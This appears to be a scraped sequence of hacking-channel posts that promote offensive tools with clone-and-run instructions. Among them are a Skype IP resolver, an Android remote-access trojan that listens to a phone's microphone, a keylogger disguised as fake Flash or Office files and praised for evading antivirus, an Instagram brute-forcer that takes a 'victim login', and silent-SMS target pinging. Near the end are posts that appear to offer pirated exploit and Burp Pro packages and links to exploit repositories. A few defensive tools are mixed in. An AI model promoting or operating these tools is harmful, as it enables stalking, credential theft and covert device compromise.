Find out the IP address on Skype

Hello.
SIR is a simple tool that resolves the last known IP address of the Skype name from the network.

Installation:
▪️apt install git python
▪️git clone https://github.com/AeonDave/sir.git
▪️pip install beautifulsoup4
▪️cd sir

Usage:
▪️python sir.py - run utility
Next, enter the username and wait for the issuance of the IP.

All information is provided for informational purposes only. We are not responsible for your actions.

Wifi password list of 320 million passwords

Hello.
Fresh selection of WPA/WPA2 passwords from torrent collections, contains 320 million unique passwords.

Hashcat GPU brute force: 3090 RTX takes 5 minutes

Link:
▪️https://github.com/vladimircovic/wifi_pass

All information is provided for informational purposes only. We are not responsible for your actions.

🐬 A collection of awesome resources for the #Flipper Zero device.

https://github.com/djsime1/awesome-flipperzero

Encrypting text into an image

ImSter is a utility that allows you to securely hide and view password-encrypted text inside an image. Text is encoded in image pixels, not metadata. It is impossible to determine by eye whether there is hidden content in the image.

Installation

Install the latest release: https://github.com/armytricks/ImSter/releases/tag/v1.1.2
$ chmod +x ImSter-*.jar

Usage

$ java -jar ImSter-xxx.jar encode -i input.png -o output.png -m "message" -p password

You can read more about using the utility on the official GitHub page of the repository.‌‌

Great Android RAT in Termux!

Good day! Today we have prepared for you haxRat → TYK ←, which is a cloud-based script created in order to remotely control Android based on NodeJS. So, with it, you can block calls on the device, see all files and pictures, listen to the microphone, monitor notifications and much more.

Let's go!

1. To install, use:
apt install nodejs git
$ git clone https://github.com/hax4us/haxRat

.git
$ cd haxRat/server
$ npm install
$ mkdir ~/haxrat
2. Use is carried out by entering the following command:
$ node inde

x.js

Install 340 useful utilities with one click

Sashay is a script that allows you to automatically install 340 basic Linux tools with which you can upgrade your "skills".

Categories:
- DDOS attacks
- Brute force attacks
- Scan websites for vulnerabilities
- OSINT tools
- Sniffing
- and a couple of other useful programs.

Installation:
• git clone https://github.com/viewerdiscretion/sashay.git
• cd sashay
• chmod +x install

Launch:
• sh install

To run at any time, use the sshy command

Hidden program for catching passwords

Beelogeer is an open source electronic keylogger. It is a powerful tool and a hidden tool that can be disguised as a fake Adobe Flash update, Word document, Pdf or Pptx.

Installation:

$ apt install git python
$ git clone https://github.com/4w4k3/BeeLogger.git
$ cd BeeLogger
$ bash install.sh

Usage:
$ python bee.py

We generate a file suitable for us in numbers. Of the amenities - VirusTotal almost does not detect our file.‌‌

#OSINT

https://github.com/cipher387/osint_stuff_tool_collection

We check ourselves for hacking!

Good day! Today we will show you Loki, a scanner that allows you to detect signs of hacking. The entire operation of the scanner is based on three detection methods.

1. By file names (compliance with the regular expression of the full path of the file).
2. Verification by Yara rules (search for compliance with Yara signatures by the contents of files and process memory);
3. Checking hashes (comparing scanned files with hashes (MD5, SHA1, SHA256) of known malicious files);

Let's go!

1. To ins

tall, use:
 sudo pip2 install psutil netaddr pylzma colorama
$ git clone https://github.com/Neo23x0/Loki

$ cd Loki/
2. Use is carried out by entering the following command:
$ python2 loki-upgrader.py
$ python2 loki.py -h

Managing our own local web server

MyServer is your own locally running server. On it you can set up PHP, Apache, MySQL on Android, Linux, Ubuntu or other operating systems. With MyServer, you can set up and test your website, regardless of the technologies used in its development.

Installation

$ git clone https://github.com/rajkumardusad/MyServer.git
$ cd MyServer
$ chmod +x install

launch

$ sh install (or ./install)
$ myserver start

Syntax

$ myserver -s localhost 8080 /home/www

Brute-force Instagram accounts

Pure-L0G1C is a handy utility for carrying out a password brute-force attack on IS accounts.
The work of the program is organized through a proxy, in order to ensure anonymity.
If successful, it creates an account.txt file in the folder that contains all the data found.

Installation:

• apt update && apt upgrade - y
• apt install python python-pip git
• git clone https://github.com/Pure-L0G1C/Instagram
• cd Pure-L0G1C

Launch:

• python3 instagram.py <login> <wordlist> <mode>

<login> victim login
<wordlist> file with passwords, it can be found on the Internet
<mode> brute force mode:
-m a number, which can be 0, 1, 2, or 3. The default is zero.

Modes
0 - 64 passwords at a time
1 - 128 passwords at a time
2 - 256 passwords at a time
3 - 512 passwords at a time

​Protection against DDoS attacks!

Good day! Today we will show you one very interesting project that is designed to protect against DOS and DDoS attacks. This project is called Anti-DDOS. In fact, it uses all the necessary protection configurations, but it only works on the Linux operating system.

Let's go!

1. To install, use:
git clone https://github.com/ismailtasdelen/Anti-DDOS.git
2. Use is carried out by entering the following commands:
cd Anti-DDOS
$ bash ./anti-ddos.sh

With Anti-DDOS, you can take the necessary steps to protect your servers and applications from this type of attack.

Useful software only for the smartest kids!💾‌‌

🔖 S.E. Note. The Book of Secret Knowledge.

🖖🏻 Hello user_name.

• Today I am sharing with you a very useful repo, which contains a huge amount of information for every taste. The information will be useful to all readers of our community and not only.

• Guides, tools, articles, various cheat sheets, blogs, life hacks and more: https://github.com/trimstray/the-book-of-secret-knowledge

​📦 Ready-made VM images for quick deployment and experimentation.

🖖🏻 Hello user_name.

• Today I

have selected for you a list of repositories with ready-made images for VirtualBox and VMWare virtual machines. Very handy for quick deployment as test benches.

• Free VirtualBox Images from the developers of VirtualBox.
• A collection of prebuilt VMs from Oracle.
• Absolutely any VM configurations based on Linux and Open Sources.
• VMware image with older versions of Windows (98, 2000, XP)

• VM on iOS and MacOS:
https://getutm.app
https://mac.getutm.app
Images:
https://mac.getutm.app/gallery/
https://github.com/utmapp/vm-downloads/releases

Your S.E.‌‌

​✉️ Silence and SMS Ping. Find out the status of the subscriber and encrypt SMS messages.

This information can be important in certain circumstances.

🖖🏻 Hello user_name.

• Let's tak

e a little break from the #SI topic and talk about some useful #Android apps. Today we will talk about software, thanks to which you can stay in touch without the presence of the Internet and maintain the confidentiality of correspondence. In addition, we will talk about an interesting application that will allow you to find out the status of a subscriber.

• Let's start with the SMS Ping application: In simple words, thanks to this application you can send a silent SMS to any phone number and find out the status of the target (online / offline). The SMS message will not be displayed to the person who received the request, but you can determine whether your contact's phone is working or not.

• Application is open source: https://github.com/itds-consulting/android-silent-ping-sms
• You can download it here: https://f-droid.org/ru/packages/com.itds.sms.ping/

• Now let's talk about Silence: This is an application that allows you to easily encrypt SMS and local database, replaces the standard SMS application, uses the Signal encryption protocol and is open source. As already mentioned, the tool will help you stay in touch if there are problems with the Internet connection and will ensure the confidentiality of correspondence.

• Official site: https://silence.im/
• Source code: https://git.silence.dev/Silence/Silence-Android/
• Download here: https://f-droid.org/packages/org.smssecure.smssecure/

‼️ Do not forget about our selection of offline messengers, share this information with family and friends and stay in touch. Your S.E. #Android #Privacy‌‌

Exploit Pack Pro 15.07
#exploit‌‌


Exploit Pack Pro 15.07 (as instructed to use in VM)

#exploit‌‌

Burp Pro 2022.2 +
#soft #burp #web‌‌


Burp Pro 2022.2 + detailed installation instructions inside


#soft #burp #web‌‌

+ profiles for Burp Bounty‌‌

EvilCorp

#malware #report‌‌


A cool analysis of the tools of the sensational group EvilCorp

#malware #report‌‌

CVE-2022-21971: Windows Runtime RCE

https://github.com/0vercl0k/CVE-2022-21971

#git #exploit #pentest

CVE-2022-0847: Linux Kernel LPE ("Dirty Pipe")

https://github.com/antx-code/CVE-2022-0847

#git #exploit #pentest